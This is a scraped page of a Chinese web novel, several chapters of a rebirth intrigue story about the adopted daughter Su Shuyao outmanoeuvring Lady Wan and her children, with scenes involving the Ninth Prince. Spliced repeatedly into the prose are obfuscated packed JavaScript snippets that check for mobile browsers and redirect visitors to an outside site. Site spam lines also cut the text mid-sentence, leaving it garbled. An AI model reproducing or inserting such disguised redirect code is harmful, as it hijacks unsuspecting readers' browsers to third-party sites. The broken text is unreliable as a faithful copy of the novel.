d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360172|183653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 节将至陛下推崇以孝治国听说侯夫人在家庙为家人祈福重阳佳节那天侯爷务必将夫人接回府成全子女的一片孝心。” 威远侯对内重拳出击在外唯唯诺诺虽然觉得冷侍郎的要求不合理还是当即应承下来。 回府后威远侯把苏明珠几人叫来“能耐不错竟然能 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 找到吏部侍郎帮忙！” “有这个本事，不如帮你两个哥哥找份差事！” 苏明珠：“父亲不必担心，两个哥哥的前途，必定一片锦绣。” “重阳节那天，把万氏接回来过节，只有一天，过完节，再把她送回去！”威远侯说完，便拂袖而去。 “太好了，能把母亲接回来了！！” “走，咱打扮一番，敲锣打鼓去接母亲回来！” 接之前，兄妹四人专门到苏舒窈面前炫耀。 “舒窈姐姐，母亲马上要回来了，你高兴不高兴啊？” 苏明珠紧紧盯着苏舒窈，想从她脸上看出惊讶与害怕。 苏舒窈如往常一般淡淡一笑：“我很高兴。” “正好，我和你们一起去接夫人回府。” 她脸上的笑发自真心，晃得苏明珠眼花。 “那姐姐换完衣裳，便一起吧。” 苏舒窈换了一身大红的绸裙，裙裾上绣的是云鸾纹，莲步轻移间，浑身散发出淡淡的红光，眼角眉梢全是喜气，倒是比苏明珠几人还打扮的喜庆。 苏明芷疑惑：“她不会是又要耍什么花招吧？” 苏明珠：“父亲都同意了，她还能耍什么花招？她要去就让她去呗，让她睁大眼睛看着，我们是怎么把母亲接回来的！” “等母亲回来，她的好日子就到头了。” “她看似在笑，说不定心里已经破了个大防！” “哈哈哈哈——” 坐上马车，一行人往家庙而去。 苏舒窈指尖摩挲着九殿下赠送的玉簪，一举一动都透着从容。 冷侍郎给威远侯打了招呼，可没有和族中打招呼。 她们要想把万氏接回来，没那么简单。 总要付出一点什么。 苏舒窈淡淡一笑，今儿又有好戏看了。 第154章 代替 苏舒窈清楚地记得上一世冷如烟进宫落水之后嫁给了救她的侍卫。 这一世冷如烟怎么成了贵人？ 还有上一世太子妃生产不顺大出血孩子出生之后身体也不太好。 三皇子登基前孩子就因为一场风寒夭折了。 这一世她却打听到太子妃母子平安全是因为冷如烟的一个梦。 冷如烟一时风头无两不仅得到大量的赏赐还成为皇帝的新宠。 难道冷如烟也是重生？ 不对要是冷如烟也重生她便不会落水苏明珠事先去了趟后宫定是苏明珠给她说了些什么。 苏明珠那个蠢货到处宣扬就不怕被人当做妖女给烧了。 冷贵人得宠必定有人失宠。 后宫发生的每一件事都不是巧合包括冷如烟落水、太子妃提前生子 贸然牵扯进后宫纷争 三年一选秀后宫最是不缺年轻漂亮的女子没有一个女子能一辈子受宠。 冷如烟现在受宠旁人动不了她但要是被人发现苏明珠和冷如烟的关系苏明珠**的都不知道。 真是愚蠢。 苏舒窈将玉簪插入发髻抬手正了正。 九殿下不知道在忙什么好久没有出现了宫里的消息九殿下应该清楚。 明儿去看看元祖蹴鞠吧。 马车摇摇晃晃停在家庙门口。 “乓乓乓——”锣鼓的声音响起。 苏明珠不仅带了两个人敲锣还放了串鞭炮。 锣鼓喧天、鞭炮齐鸣搞得热火朝天像是迎接冷宫的妃子回宫似的。 苏明添也被抬了过来兄妹四人一起迎接万氏回府。 万氏蜷缩在冷硬的墙角目光呆滞毫无神采。 身上的衣裙满是污渍早已看不出原来的底色脑袋无力地垂下头发乱糟糟披散着遮挡住大半张脸。 墙上被手指扣出密密麻麻的竖线一条竖线代表她在家庙里过了一天。 门外的喧嚣仿佛与她无关直到脚步声越来越近木门被推开她才缓缓抬起头来。 “母亲女儿儿子接你来了！” 万氏无数次在梦中梦到过这个场景看到来人她还没反应过来。 直到苏明珠几人走到面前把她从地上扶起她的嘴唇才抖了抖眼泪哗哗往下流。 “你们怎么才来啊母亲都快被折磨**！” 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 苏明珠上前一步一把将万氏抱进怀里。 万氏身上酸臭味实在是太臭苏明珠微微皱了皱眉：“母亲别怕是我求了宫里的贵人才将你救出来的。” “宫里的贵人不愧是我的女儿真有手段！”万氏抬手抹了把泪一副苦尽甘来的模样。 “母亲是谁折磨你！？” 苏明沛没料到万氏竟然被折磨成这个样子勃然大怒！ “是谁究竟是谁欺负母亲！本世子要她好看！” 万氏颤抖着嘴皮：“是红燕吴妈妈的女儿红燕还有王婆子。” 万氏看向苏明珠：“明珠红燕是你送来的？她差点没把我给害死！” 想到前段时间的遭遇万氏心尖都还在颤抖。 苏明珠摇摇头：“红燕 两人齐齐看向苏舒窈苏舒窈朝着她们回以一个温良的微笑。 万氏咬紧牙关眼眶猩红。 红燕是苏舒窈送来的她还以为是苏明珠送来的这些天一直除了咒骂王婆子和红燕偶尔也会咒骂明珠。 原来骂错人了！ “红燕王婆子我要她们千刀万剐不得好死！” 还有苏舒窈也别想好！ 红燕收到风声早跑了只剩一个王婆子。王婆子也不是个傻的见到来了这么多人也跑去叫族长了。 苏明沛在家庙里找了一圈都没找到人“母亲我们先回去儿子定不会放过那两个恶仆！” 几人拥着万氏正要离开族长带着族老们出现了。 “苏明沛万氏在家庙为苏家子孙祈福你们要把她带去哪里去？” 苏明沛双手一拱：“父亲同意让我们带母亲回去过重阳节。” 苏明珠开口道：“当今天子推崇孝道我们接母亲回家过节于礼于法族长都不该阻拦。” 族长捋了捋胡须：“重阳节？后天才是重阳节那你们后天再来接。” 万氏紧紧抓住苏明珠的衣服颤抖着声线：“不要这里我一刻都待不下去了。” 苏明珠冷笑一声：“接母亲回府可是宫中冷贵人的意思族长是要违逆冷贵人？族长怕是不知现在后宫最受宠的当属冷贵人。” 族长是千年的狐狸哪里能被苏明珠一句话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360173|183653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就吓到：“那你让冷贵人亲自给我说。” 苏明珠：“冷贵人在宫中怎么亲自给你说？！” 族长：“那我怎么知道你们是不是在说谎？” 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 苏明珠：“.” 族长：“或者你让冷侍郎来告诉我也行！” “而且，你们将人带回走，只有重阳节那一天，过完节，还要把人送回来。否则，也让你们几个小辈知道，违逆苏家族规的下场！” 在大夏，违逆族规可是严重道德败坏的行为，女子会声名受损，男子会影响仕途。 苏明珠无语凝噎，族长权利很大，轻易得罪不得，苏明珠不敢强行将人带走。 万氏紧紧拉住她的衣袖，不停小声喃喃：“不要，我不要再来了，明珠救我.” 正在一行人争执不下之际，族长开口：“有个办法，可以让你们把人带走。” 苏明珠：“什么办法？” “只要你们其中一人愿意代替万氏在这里受罚，万氏就能离开。”族长看向苏明珠四兄妹。 苏明珠愣了愣，转头看向苏舒窈：“舒窈姐姐，可能要委屈你了，你这么孝顺，你是愿意的吧。” “母亲养你这么多年，是时候该你报效养育之恩了。” 苏明芷、苏明沛、苏明添也集体看向苏舒窈，眼神里藏着不怀好意的笑。 “苏舒窈，你该不想背负忘恩负义的名声吧？” 一开始苏舒窈跟着来，他们还担心有什么阴谋。 没想到是她们多虑了。 苏舒窈来的好啊，早知道有这个规矩，早就该把苏舒窈带来了！ 苏舒窈眼底盛着笑意。 她站起身，抚平裙摆褶皱，眼波如秋日湖面般沉静：“我愿意的，不知道明珠妹妹愿不愿意？” 苏明珠犹豫了一下，点头道：“我当然、也是.愿意的。” 苏舒窈浅浅一笑：“那就麻烦妹妹代替夫人在家庙为苏家子孙祈福了。” 苏明珠眉心皱起，像两道绷紧的弦：“不是该你代替母亲吗？” 苏舒窈浅浅一笑：“妹妹可能没有搞清楚，我愿意代替夫人留下，但我是养女啊，族规不允许。” “这代替啊，需要亲生子女。” 第155章 纯孝 “我想代替母亲，可是我没有资格。苏舒窈走到苏明珠面前，轻声道：“妹妹是夫人的亲生女儿，只有妹妹，才有资格。 “亲生两个字，她刻意咬得很重。 “是吧，族长？咱苏家族规，在孝道这一方面，可是极为周全的。 想起苏舒窈送来的银票，族长满意地点了点头：“舒窈说得没错，只有亲生子女，才能代替。 苏舒窈看向苏明珠，眨了眨眼：“明珠妹妹，你该不想背负忘恩负义的名声吧？ 苏明珠刚刚用来刺苏舒窈的话，在空中转了一圈，再次精准地戳中苏明珠自己的胸口。 苏明珠猛地站起身，椅子在地上拖出刺耳的声响。 她张开嘴，想说什么，最后什么也没说。 看到万氏的遭遇，她也害怕。 侯府虽然吃水煮菜，但好歹还有下人伺候。 这里什么都没有，还有一个穷凶极恶的婆子和一个不知道藏到哪里的恶仆。 她不愿意。 她想反悔。 再说了，她根本不是万氏的亲生女儿。 “母亲，这件事我们兄妹几人再商量商量 万氏不会同意两个儿子代替自己。 除了她，还有苏明芷。 苏明芷那么蠢笨，稍微忽悠一下就行了。 苏明珠抬头寻找苏明芷的身影，却只看到苏明芷的背影。 苏明芷跑了。 苏明芷知道自己笨，留下来肯定要吃亏，她不会说漂亮话，她不想待在这里吃苦。 不如逃跑。 族长看向兄妹三人：“只要你们愿意代替万氏在家庙祈福，就能将万氏带走。 族长又看向万氏：“但，如果她们不愿意，不能勉强，不能强迫。 苏舒窈端坐于圈椅中，青瓷盖碗里的水汽袅袅上升。 浅尝一口香茶，静静地欣赏万氏和儿女们的母子情。 苏明添还是个残疾，肯定留不下来。 苏明沛要读书科举，是整个侯府的希望，更留不下来。 只有苏明珠。 苏明珠惯会说漂亮话，嘴上说着愿意，真正要她留下来的时候，她却慌了。 万氏看出了苏明珠的退意，她一只手紧紧抓住苏明珠的袖子，另一只手从衣襟里掏出一封信来。 这封信，是她进家庙那天，苏明珠亲笔写的。 苏明珠在信中写道：“要是可以，她愿意代替万氏留在家庙。 万氏 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 是真的怕了，她一刻也待不下去了。 还未等苏明珠开口同意，万氏把信呈到族长面前：“明珠是愿意的，她一开始就愿意的.” 苏明珠：“.” 这封信，是苏舒窈蛊惑她写的。 她当时为了给万氏表忠心，哪里知道，会出现这样的情况. 族长接过信，一边看一边点头：“苏明珠孝心有加，既然这样，便让苏明珠留下代替万氏吧。” 苏明珠呆呆的，还没反应过来发生了什么，她的去留就被人决定了。 “明珠，你的孝心母亲一清二楚，你放心，我回去之后，会马上想办法救你出来。” “你和元家的婚事，我回去之后，马上安排。冷贵人那边，我立刻让人去带话，冷贵人一定会想办法让你出来的” 苏明珠张开嘴，连喘了好几口大气。 只要她说出一个“不”字，“不孝”的帽子便会扣在她头上。 苏舒窈笑了：“明珠妹妹真是孝顺，吾辈楷模。” 族长：“那就这样决定了，苏明珠代替万氏留在家庙为苏家子孙祈福。万氏，你回去之后，一定要改过自新，不能辜负了明珠的一番孝心。” 万氏如释重负般连连点头：“族长，我知道了。” “明沛，快走吧，我身上痒得很，我要回府洗澡、换衣服，通知厨房熬上热汤，我沐浴之后马上就要喝.” 苏明沛：“明珠妹妹别怕，我们三天之内，肯定把你接出去。” 苏明珠眼睁睁看着面前的大门慢慢合上，门缝里，万氏头也不回地离开了。 苏舒窈跟在万氏身后，身上的大红绸裙像一把烈火，晃得她眼睛痛。 大门合紧，阳光被尽数遮挡，天光暗了下来。 直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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有了万氏的保证，苏明芷仿佛吃了定心丸，安心了许多：“母亲，不仅要让她把私房银子全部拿出来，我还要她的香露铺子！” 万氏念了句“阿弥陀佛”，轻轻摸着苏明芷的头：“当然可以。” 苏明芷双眼一亮：“母亲，她被元家退婚了，没人愿意娶她，祖母留给她的嫁妆，能不能分一点给我啊？” 祖母真是过分，临死前把大部分私产留给了苏舒窈当嫁妆，还说是分给苏舒窈的东西，不许他们惦记。 她们这些正经儿孙，反而分得少。 祖母的东西本来就是他们侯府的，她只拿回一点，没有全部拿走，算是仁慈。 万氏凝着眼眸，慢慢地摩挲着手中佛珠：“这次定要想个万全的法子，把她的银子全部掏光，还要让她有苦说不出！” 苏明芷瞳孔放大，眼神明亮了几分：“母亲，有什么计谋？” 万氏想了想，缓缓吐出一口浊气：“有没有听说过仙人跳？” 苏明芷摇了摇头。 “仙人跳”是江南那边的骗术，骗子伪装成大户人家的公子，专门骗那种涉世未深的深闺女子。 很多妾室也上当。 女子被骗子污了清白，怕被传出去，只能乖乖掏钱。 有的女子不仅被骗光了钱财，还被强迫污了身子，不敢反抗。 在大夏，女子清白名声比命还重要。女子受了骗，几乎没人报官，大多都选择忍气吞声。 只要苏舒窈跳入火坑，为了保住清白，她挣多少银子，就得交多少银子出来。 到时候，苏舒窈被牢牢掌控在她手中，沦为挣钱的傀儡，岂不妙哉。 不仅如此，苏舒窈还要被无尽的痛苦折磨，天天担惊受怕，夜不能寐 想到这里，万氏激动得浑身颤抖。 她以前还是太仁慈了，知道这个方法歹毒，但她却没有用。 现在她也是被逼无奈，才用此招。 不能怪她，只怪苏舒窈狼心狗肺，不懂知恩图报。 苏明芷：“母亲，苏舒窈她鬼精鬼精的，会上当吗？” 万氏冷哼一声：“她不是刚和元家退婚吗？她表面看似冷静，说不定已经偷偷哭了好几场了。” 之前苏舒窈污蔑元祖和明珠有染，脸上愤慨的表情做不得假。 “她现在正是失意伤心，急需人安慰的时候，这个时候，要是一个温柔体贴的世家公子出现，安慰她，照顾她，帮她抚平内心伤口，还发誓此生只爱她一人，你说，她会不会沦陷 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 ？ 苏明芷嘴角往上高高扬起：“母亲，这个主意好！ “对了，母亲，你怎么知道得这么清楚？母亲没去过江南啊？ 万氏捏住佛珠的手一顿，缓缓垂下眼帘。 “这事先不急，当务之急，是把明珠给救出来。 苏明芷这才挠挠头：“对哦，明珠姐姐还在家庙呢。 她暗自庆幸，幸亏跑得快，要不然被留到家庙的人，就是她了。 万氏的异常，她是一点也没发现。 “先想办法联系冷贵人。 皇帝连续翻了冷贵人一周的牌子，冷贵人的风头一时无两，就连皇后，都得暂避锋芒。 后宫谣传，冷贵人过不了多久，定能升位份，单独掌管一宫。 可是，就在鲜花着锦之时，冷贵人忽然失宠了。 恰逢冷贵人生辰，其他嫔妃纷纷送来贺礼，贺礼中有一套红宝石头面很是惹眼，宝石华丽，款式独特。 冷如烟戴上红宝石头面，晶莹剔透的红色光影衬得她脸颊带粉，就连良妃也赞不绝口。 冷如烟爱不释手，立刻戴上，还画了个与之相应的桃花妆，穿了身桃红的襦裙。 没想到皇帝看到这套红宝石头面，龙颜大怒，甩手就离开了。 接下来，冷贵人不知怎么吃坏了肚子，又过敏，脸上长了红疹，很长一段时间都不能侍寝。 雷霆雨露，皆是君恩。得宠容易，失宠也快。 冷如烟自顾不暇，自然管不了苏明珠。 苏明珠等了两天，也没等来冷贵人的召唤，幸好万氏送了两个婆子到家庙，及时阻止了王婆子对苏明珠的欺凌。 苏明珠只被王婆子折磨了半天。 可就算只有半天，也给苏明珠心中留下了巨大的阴影。 万氏回府之后，苏舒窈去看了一回。 万氏躺在榻上，神情恹恹，看上去还是比之前憔悴了许多。 墨绿抹额掩盖了面部的尖锐，显出几分慈爱：“舒窈，母亲之前被迷了心窍，伤了你的心，母亲现在给你道歉。 “母亲在家庙的时候，无时无刻都在忏悔，你的铺子，是老夫人留给你的嫁妆，我们不该觊觎，也不会抢夺。不管你要做香露生意，还是别的什么，母亲都不会插手。 “舒窈，母亲真的错了，你愿不愿意原谅母亲 万氏低头掩面，再抬头时，已是泪流满脸。 苏舒窈胸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360175|183653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口一颤。 万氏后悔了？ 愿意接纳 听说看这本书的人都是很幸运的，分享后你的运气会更棒 她了？ “不行，我不同意！”苏明沛的骂声打断的苏舒窈的沉思。 “母亲，她还没出嫁，她挣的银子，就该拿出来供大家花销！” “侯府养她长大，现在侯府有难，哪有她一个人吃香的喝辣的的道理！” “不行，我不同意！！” “母亲，我也不同意！”苏明添也不愿意。 接母亲回来就是为了对付苏舒窈，利用孝道，让她把银钱拿出来，怎么可以轻易就原谅？！ 苏明添和苏明沛态度坚决。 相反，苏明芷那个炮仗却安静得过分。 按照往常，提到银钱，苏明芷是跳得最欢那个。 这一次，苏明芷闭着嘴，只是眼神复杂地盯着苏舒窈瞧。 事出反常必有妖。 苏舒窈仔细一想便便明白了。 万氏是在演戏。 万氏的打算只告诉了苏明芷，没有告诉苏明沛两兄弟。 苏明沛两兄弟是真实的反应。 还不如全都不告诉，苏明芷一起反对，可信度高一些。 苏明添继续道：“母亲，不能便宜她！母亲，你想一想，是因为谁，你才进了家庙受了这么多苦？” 苏舒窈看向苏明添：“二少爷，夫人不是因为世子叫来族长，才被送进家庙的吗？” 她笑盈盈看着万氏和苏明沛。 这两人不会忘了吧？ 苏明沛将万氏送进家庙，万氏意外让苏明沛不育。 两母子就这样握手言和了？ 她也不同意。 “世子，你的身体好些了吗？请医师看了吗？能不能恢复？” 苏明沛的脸色忽然垮了下来，心里对万氏的不满又涌了出来。 万氏在心里暗骂了一句，擦干眼泪，正色道：“明沛，明添，从今往后，不许你们为难舒窈。” “你们需要花银子，母亲这里来拿，母亲不会短了你们。” 说着，便让庞妈妈去开库房拿银子。 从万氏那里拿了银子，苏明添两兄弟暂时消停了。 下午，苏舒窈去了香露铺子。 刚到铺子，佟掌柜便迎了上来：“大小姐，今儿来了位重要的客人，说是江南那边的世家公子，对香露特别感兴趣，想问问大小姐有没有兴趣把香露的生意做到江南去？” 第157章 王公子 苏舒窈正有把香露引到江南的想法。 江南文人在追求雅致方面比北方更甚，而且江南世家贵族也多，市场一旦打开，定然财源滚滚。 “江南哪家的公子？”苏舒窈问道。 佟掌柜在前面带路：“公子自称姓王，具体的就不知道了，看起来是金贵人儿，买了不少香露，我也不敢多问，怕惹了公子不喜。” 雅间内，一男子挺身而立。 男子穿了件宝蓝色锦袍，衣料是上好的杭绸，袖口绣了暗纹，腰间挂的那块翠绿的玉佩，水头极好，绿得快要滴出水来。 男子大概十**岁，头发梳得整齐顺滑，玉冠下，是一张面容精致的脸。 明亮的眸子里藏着一丝淡淡的忧郁，举手投足间，尽是优雅。 跟书中描述的江南世家公子一模一样，让人只看一眼，便心生好感。 “大小姐，这位便是王公子。”佟掌柜将人带了进去，又吩咐伙计上茶。 “大小姐好。”王公子站起来，朝着苏舒窈行了一礼。 “王公子好。”苏舒窈还了一礼。 “苏大小姐的香露设计巧妙，香气醉人，在下甚是喜爱。” 王公子嗓音不高，像是浸润在温泉里的玉，每个字都裹着暖意，不疾不徐，有种沁人心脾的舒爽。 果然如佟掌柜说的那样，是个金贵人儿。 苏舒窈笑着应道：“王公子过奖了。” 说着，又招呼伙计重新泡了一壶茶来。 “多谢苏大小姐款待。”王公子很懂礼节，一举一动都透着规矩与教养。 两人说了一会儿话，王公子开口问道：“不知苏大小姐有没有意向将生意拓展到江南？” 苏舒窈笑了笑：“公子一看就是读书人，不知道为什么会对经商感兴趣？” 谢瑜也是这样，明明出身世家门阀，却偷偷出来做生意。 问清楚一些，也怕到时候惹了麻烦。 王公子笑道：“在下将香露引到江南，并非为了盈利，仅仅是因为喜爱。香露高雅精妙，正该被更多人看到，大小姐，您觉得是不是？” 苏舒窈笑道：“公子大义。” “如果香露卖到江南，以后在下想买，也方便许多。” 闲聊中，王公子主动透露，他出身江南世家王家分支，虽是分支，但也是嫡出，此番上京是为了明年的春闱。 王家有上千亩茶山，家产殷实，也不是非要做香露生意。 见到香露，实在是喜欢得紧，想 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 见见是何人这般巧思，竟然能做出如此巧夺天工，又高雅至极的宝贝，所以才等在铺子里。 言谈间，能看出王公子教养极好，一举一动间皆有君子之风，目光清明，不乱瞟，和他说话有种如沐春风的感觉。 “在下的茶庄在槐树胡同，苏大小姐如果有兴趣，可以去坐一坐。如果苏小姐放心，大可将香露放在在下江南的茶庄寄卖，等有了一定的知名度，再单独开铺子。也是在下多此一举，苏大小姐的香露到江南，定是千金难求。” 王公子坐了一盏茶的时间，没久留。 看着王公子的背影，苏舒窈总觉得有种奇怪的感觉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360176|183653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这人看起来太完美，身上挑不出一点错处，简直无懈可击。 主动提出将香露引到江南，也不收取费用，只是为了日后购买方便。 天下熙熙，皆为利来，天下攘攘，皆为利往。 王公子不为名利地帮忙，苏舒窈反而警惕起来。 佟掌柜笑道：“大小姐，这王公子真是好人啊，如果能借着王家的势，在江南开铺子就简单多了。” 到江南开铺子，不仅要打点当地官员，和地头蛇搞好关系，还要调查香露的售卖会不会影响到当地权贵的利益。 如果真是背靠王家，这生意做起来便简单多了。 王公子应该是非常喜欢香露，一种香味买了两瓶，一个人就买了二十瓶，出手阔绰。 佟掌柜说起王公子，脸上带着笑：“有修养，又大方。” 就连店铺里的伙计，也对王公子赞不绝口。 “这事先不急，先查清楚王公子的底细再说。” 过了几天，王公子没再出现，苏舒窈派人去了槐树胡同的茶庄。 茶庄规模很大，前面的铺面专门展示茶叶，后面的院子做成了雅间，专门让客人品茶。 雅间布置透着一股江南水乡的风韵，吸引了不少文人墨客以文会友。 茶庄的伙计称呼王公子为少东家。 没过几天，茶庄要开诗社，王公子让人送来一张帖子，邀请苏舒窈去品茶吟诗。 茶庄二楼专门设置了供女子品茶的雅间，女子专属的雅间和男子分开来，既能看到楼下的文人墨客作画题诗，又不受干扰。 苏舒窈觉得很有趣，准备邀着唐挽心一起去玩。 第158章 见不得人的关系 忙完回到府中，苏舒窈发现，妆奁上多了一对和田白玉耳环。 上好的羊脂玉，雕成了小巧的兰花模样，在阳光下，玉质晶莹剔透，好似一团皎洁的月光。 耳环侧面，刻了一个“窈”字。 这对耳环，和之前那根玉簪很是般配。 九殿下来过了！ 苏舒窈站起身，环顾四周。 没有感受到九殿下在暗处注视的目光。 九殿下真是害羞啊，放下耳环都不说一声就离开了。 不知道九殿下在哪里？ 不知道九殿下最近在忙什么？ 最近没有听说官员被抄家，也没有听说有人下狱。 想见九殿下。 苏舒窈精心打扮一番，换上新衣，戴上羊脂白玉耳环，簪上玉簪，套上臂钏，径直去了望春园蹴鞠场。 像上次那样，苏舒窈戴着帷帽，找了个不起眼的角落，静静地注视着场上奔跑的男子。 今儿元祖在场上，他刚踢完一场，正拿着巾子擦汗，小厮竹墨端着茶碗站在一旁。 “启承兄，再踢一局？”一蓝衣公子走过来，将手搭在元祖肩上。 元祖，字启承。 “启承兄可能踢不了了，他未婚妻来了。”一灰衣公子笑道。 元祖愣了愣，“未婚妻？哪个未婚妻？骆心表妹不是我的未婚妻。” 今日骆心也来了。 蓝衣公子笑道：“启承兄你装什么啊？就以前经常来那个，爱穿青绿色裙子那个，不是你表妹。我过来的时候正好看到她进凉棚。” 难道是苏舒窈来了？ 不是要退婚吗？ 现在偷偷来看他蹴鞠又是怎么一回事？ 元祖朝着凉棚的方向看了一眼。 女眷休息的凉棚前挂了薄纱，不走近根本看不清里面坐的是哪家的姑娘。 他叫来竹墨：“去，悄悄过去看看，是不是苏家大姑娘来了。动静小一点，别被发现了。” 竹墨偷溜到凉棚处，没看到苏舒窈，一眼就瞧见了秋霜。 他转头回去告诉元祖：“少爷，是苏家大姑娘。” 元祖唇角一勾，露出一个邪魅的笑容，“呵，小花招真是一套又一套。” 竹墨问道：“少爷，走吗？” 元祖邪魅一笑：“不走了，再踢一场。” 苏舒窈不是要看吗，就让她看个够。 他倒要看看，这个嘴硬的女人什么时候露出真面目！ 苏舒窈取下帷 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 帽，往前方看去。 绿荫草地上，一群青年正踢得热火朝天。 上一世，每次元祖参加比赛，她都会认真地观看。 说实话，元祖技术不错，比赛获胜，她也会跟着开心，元祖输了比赛，她也会跟着沮丧。 像现在这样，专门来等着元祖出糗，是一种很新奇的感觉。 九殿下应该很忙吧，苏舒窈坐了好一会儿，都没有看到元祖摔跤。 忽然，一道熟悉的、凉薄的声音从身后传来：“就这么喜欢蹴鞠？” 苏舒窈心下一喜，唇角微微勾起来。 凉棚三面封闭，前面挂了一道薄纱做的帘子，其他三面用黑色的布围起来。 不知道九殿下藏在哪边，但应该离得很近。 苏舒窈让秋霜和秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360177|183653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水到外面去守着。 “不喜欢。”意识到九殿下在注视着自己，苏舒窈心跳加速，脸颊也开始发热。 “不喜欢？那为什么专门打扮一番过来看比赛？”声音如往常一般冷漠。 苏舒窈低着头，轻笑了一声：“我是来见殿下的。” 一声轻笑过后，冷硬的声线再次响起：“你怎么知道本王会出现的？” 苏舒窈当然不能说出真实的原因，只是笑了笑：“我就知道。” 楚翎曜还是猜到了原因。 他很愤怒。 这个水性杨花的女子，竟然利用前未婚夫逼他出现，而且不止一次。 最让人怒火中烧的是，他竟然还来了。 他知道她不喜欢元家公子，并且坚定地和元家公子退了婚，他还是来了。 一股巨大的愤怒袭上心头，楚翎曜的唇瓣抿直成直线，瞳孔覆盖了一层厚厚的冰渣。 周围的空气忽然就冷了下来。 苏舒窈敏锐地察觉到楚翎曜身上的变化，要是以前，她会感到恐惧。 来自上位者的威压会让她汗**直竖。 现在，她的心跳仍然加速，但不是因为害怕。 她转头看了看空荡荡的身后，重新坐好：“殿下，我们这样，算不算是在私会？” 楚翎曜：“.” “我梳妆打扮，戴上你送给我的首饰，和你幽会。”苏舒窈笑道：“我们避着人、避着光，在无人的角落，悄悄地，说着一些让人不能听见的话，干着一些让人不能看见的事，没人知道我们的关系。” 微风带着桂香飘进凉棚，冰冷的空气忽然变得香甜了几分。 楚翎曜没有说话，像是默认了两人的关系。 第159章 我好看吗 “殿下，你能出来吗？”凉棚外虽然只有一层薄纱，但没有她的吩咐，秋霜和秋水不会进来，也不会转身。 苏舒窈庆幸选了这个偏院的凉棚，周围也没人。 如果遇到人，也不必惊慌。殿下的身手那么好，旁人还没走近，殿下的身形已经消失了。 虽然不知道殿下为什么这么小心翼翼，但这样隐蔽的关系真的好容易上瘾。 楚翎曜冰凉的笑声再次响起：“不能。” “殿下，为什么要藏起来？” 据苏舒窈所知，楚翎曜没有其他女人，没有未婚妻，没有表妹，没有白月光。 他很干净，身边伺候的都是小厮。 他也不喜欢男子，苏舒窈有次抱得紧了，他的反应很真实。 “殿下，能不能告诉我？什么原因让你老是要藏起来？” 楚翎曜没有回答。 苏舒窈暂时还不能和容妃对上，她的身份低微，就算仗着几分小聪明，依然会被啃得渣都不剩。 楚翎曜最近很忙，忙着揽权夺势。要和容妃对抗，就必须拥有更大的权利。 容妃是个大隐患，让她知道，徒增烦恼。 冷哼一声：“你的问题太多了。” 行吧，还是不愿意说，苏舒窈换了一个问题：“殿下，我今日戴了你送的玉簪、耳环和臂钏。” “殿下，我戴着好看吗？” 